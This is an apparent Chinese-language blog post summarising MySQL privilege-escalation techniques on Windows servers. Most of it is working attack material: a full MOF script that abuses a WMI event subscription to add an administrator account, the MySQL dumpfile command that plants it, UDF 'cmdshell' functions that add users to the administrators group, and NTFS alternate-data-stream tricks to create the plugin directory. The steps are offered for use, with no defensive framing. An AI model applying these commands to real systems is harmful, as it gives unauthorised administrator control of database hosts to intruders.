mysql 提权总结

时间:2023-03-10 05:50:36
mysql 提权总结

1.MOF提权

简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码。此举称之为mof提权。

以下便是脚本:

 #pragma namespace("\\\\.\\root\\subscription") 

 instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
}; instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

保存为a.mof然后找一个可写目录上传a.mof,使用MySQL执行:select load_file('D:\wamp\a.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

即可提权成功。PS:添加的账号密码在脚本里。

2.UDF提权

0x01

首先需要判断版本。且在导出dll的时候需要多加一个斜杠

mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\   一般情况下是大于5.2的,而默认情况下[Plugin]目录也是不存在的。可以通过菜刀新建,如若不行可以通过0x03的NTFS流创建。

0x02

  创建cmdshell函数

create function cmdshell returns string soname 'udf.dll';

select cmdshell('net user waitalone waitalone.cn /add');

select cmdshell('net localgroup administrators waitalone /add');

drop function cmdshell; 删除函数

delete from mysql.func where name='cmdshell'  删除函数

0x03

在默认情况下会遇到Can't open shared library也就是文件夹问题,需要创建一刚开始说的文件夹,可以菜刀里直接新建,如若不行,可以通过NTFS创建。

查找到mysql的目录:select @@basedir;

利用NTFS ADS创建lib目录:select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';

利用NTFS ADS创建plugin目录:select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

然后导出以后就再创建函数通过函数来执行cmd即可。